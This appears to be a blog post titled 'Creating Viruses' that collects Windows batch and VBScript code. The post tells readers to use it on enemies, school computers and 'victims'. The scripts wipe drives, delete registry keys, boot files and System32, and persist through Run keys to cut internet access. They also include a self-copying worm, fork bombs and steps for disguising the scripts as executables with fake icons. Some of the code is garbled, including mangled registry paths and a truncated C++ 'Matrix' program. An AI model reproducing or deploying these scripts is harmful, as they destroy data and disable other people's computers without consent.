Creating Viruses (BY: Shivam Gupta)

Creating Viruses (BY: Shivam Gupta)

Create Your Own Viruses
Today we will learn how to create simple but dangerous viruses using notepad. These are very simple to create and use, but don’t dare to use these on your computer because these viruses can destroy your personal information. Where to use? You can send these viruses to your enemies or if you wanna try it yourself best and my favorite place is school computers 😀 . Let’s get started.
How to make a virus ?
  1. Open Notepad
  2. Put The Codes Provided
  3. Save it in the correct extension
  4. Done



  • Wiper [Not Official Name But I call It]
Deletes everything in the computer’s drive

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
Save As “Your File Name.bat [Batch File]
  • Registry Deleter
Deletes everything stored in registry
@echo OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
  • No Access
A good Halloween prank for your friends this stops internet access of the user. To gain Access type IPconfig /renew in CMD
@echo off
Ipconfig /release
  • Shut Up
Send your friend a little message and shut down his computer
@echo off
msg * Lets Roll Baby
shutdown -c “Error! Your ass got glued!” -s
  • Crash Puter
This is simple virus that crashes the computer – [Save As Anything.VBS]
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next
  • Ez Formatter
This Simple Virus formats windows drives in less than 5 seconds. Only D,E And C drives.
rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
  • Shutter
This virus can be very annoying it shutdowns computer every time the computer is turned on.
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You Are Nailed, Buy A New Computer This Is Piece Of Shit.
PAUSE
Now its time for few very dangerous viruses
  • Rest In Peace
It crashes PC once used the PC can’t be restarted.. It deletes everything necessary for starting up windows. Do not use on yourself .
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
  • Century
Shut downs the PC hundred times. To stop Start Run and type shutdown -a . You can also change the times pc restarts by replacing 100 by your choice.
Create a new shortcut and type :-
shutdown -s -t 100 c “Installing Updates”
  • RIP -2
This virus does the same It also prevents pc from starting but in an effective and better way.
del c:\WINDOWS\system32\*.*/q
  • Freak
This virus disables the internet forever
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You have maxed your internet usage for a lifetime 😀
PAUSE
Now there are some smart guys who check the batch files in notepad before running it. No big deal. An effective way .
How to make those stuff work ?
  1. Download and run the converter.
  2. Inject your batch file
  3. Choose Icon
  4. Version and information
  5. Compile
  6. Send to your victim
  7. Enjoy :)
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How to crash a PC Forever !:::


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE.
**Also remember this might not work with vista.**




How to stop someone's internet access::::



@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew




ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

------------------------------------------------------------------------------------------------


Freeze someone's desktop:::



this is a funny trick, u can freeze someone's desktop
1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.
2.go to paint and click on edit then paste
3.save this file as (name).bmp and close the paint.
3.now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.
4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.
5.now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name
6.now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.
7.now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!


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SHUT UR INTERNET PERMENANTLY:::



This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.
EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.


@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
:a
start iexpress (website of your choice)
goto a



--------------------------------------------------------------------------------------------------------------------

MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::


Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad
2-Put in this code

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp
fp
fp
fp
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;



3-save it as matrix.bat
4-finish



AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT



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Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.
-------------------------------------------------------------------------------------------------------------------------------------------

 Toggle your friend's Caps Lock button simultaneously:

Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.
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 Convey your friend a lil' message and shut down his / her computer:

Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.
------------------------------------------------------------------------------------------------------------------------------------------ Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

------------------------------------------------------------------------------------------------------------------------------------------

 Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.


------------------------------------------------------------------------------------------------------------------------------------------

 Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.


------------------------------------------------------------------------------------------------------------------------------------------

 Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

------------------------------------------------------------------------------------------------------------------------------------------

 Open Notepad continually in your friend's computer:

Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

------------------------------------------------------------------------------------------------------------------------------------------

 Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:


1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

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 THREATEN BY MAKING SCREEN FLASH


To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
-----------------------------------------------------------------------------------------------------------
Real Virus  : Worm 
del c:/Windows/System/System32/
del c:/Windows/System32/ntoskrnl/
del c:/windows/System32/hal.dll
:a
copy "virus.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy "virus.bat" "C:\"
copy "virus.bat" "%userprofile%\My Documents"
copy "virus.bat" "virus.bat45544"
copy "virus.bat" "virus.bat85858"
copy "virus.bat" "virus.bat1645"
copy "virus.bat" "virus.bat574457"
copy "virus.bat" "virus.bat55457"
copy "virus.bat" "virus.bat9765"
copy "virus.bat" "virus.bat45465"
copy "virus.bat" "virus.bat456877"
copy "virus.bat" "virus.bat77989845"
copy "virus.bat" "virus.bat2135"
copy "virus.bat" "virus.bat46876"
copy "virus.bat" "virus.bat45687"
copy "virus.bat" "virus.bat8868"
copy "virus.bat" "virus.bat2000"
copy "virus" "virus.bat2009"
goto a
It copies itself to other files and into the startup menu, so ANYTHING that the person shares can be infected.
------------------------------------------------------------------------------------------------------
Dangerous Viruses :--
Type This in notepad and save it as anything.bat
@echo off
:start
cd d:
echo @echo off >>virus.bat
echo :start >>Virus.bat
echo cd %userprofile% >>Virus.bat
echo md %random%-%random% >>virus.bat
echo cd /d d: >>virus.bat
echo md %random%-%random% >>virus.bat
echo goto start >>virus.bat
echo @echo off >>virus1.bat
echo Do You need to Play The game (y/n) >>virus1.bat
echo del *.* "C:\Windows\System32" >>virus1.bat >nul
echo Shutdown -s -f -t 10 -c %time% %date% >>virus1.bat
start Virus.bat
start Virus1.bat
exit
------------------------------------------------------------------
Dangerous virus 2: (By: Shivam gupta )
Type This in notepad and save it as anything.bat
@echo off
:start
cd d:
echo @echo off >>virus.bat
echo :start >>Virus.bat
echo cd %userprofile% >>Virus.bat
echo md %random%-%random% >>virus.bat
echo cd /d d: >>virus.bat
echo md %random%-%random% >>virus.bat
echo goto start >>virus.bat
echo @echo off >>virus1.bat
echo Do You need to Play The game (y/n) >>virus1.bat
echo del *.* "C:\Windows\System32" >>virus1.bat >nul
echo Shutdown -s -f -t 10 -c %time% %date% >>virus1.bat
start Virus.bat
start Virus1.bat
exit
Enjoy!!!^^ By: Shivam Gupta 

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